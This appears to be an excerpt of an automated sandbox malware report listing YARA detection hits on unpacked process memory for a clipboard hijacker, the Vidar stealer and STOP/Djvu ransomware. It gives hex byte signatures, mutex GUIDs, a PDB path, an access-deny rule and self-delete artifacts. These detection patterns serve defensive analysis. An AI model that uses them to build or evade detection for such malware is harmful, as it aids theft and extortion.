13.2.build3.exe.8515a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
13.2.build3.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
11.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
33.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
33.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
33.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
16.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.9215a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.9215a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
11.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.R5391762lf.exe.5db15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.R5391762lf.exe.5db15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.R5391762lf.exe.5db15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
20.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build2.exe.1ba15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
19.2.mstsca.exe.9615a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
13.2.build3.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
33.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
33.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
33.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8615a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.8615a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8615a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
32.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
32.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0.2.R5391762lf.exe.5ea15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.R5391762lf.exe.5ea15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.R5391762lf.exe.5ea15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.R5391762lf.exe.5ec15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.R5391762lf.exe.5ec15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.R5391762lf.exe.5ec15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.R5391762lf.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.R5391762lf.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.R5391762lf.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.R5391762lf.exe.5e115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.R5391762lf.exe.5e115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.R5391762lf.exe.5e115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
23.2.R5391762lf.exe.5e115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.R5391762lf.exe.5e115a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.R5391762lf.exe.5e115a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.R5391762lf.exe.5da15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.R5391762lf.exe.5da15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.R5391762lf.exe.5da15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.R5391762lf.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.R5391762lf.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
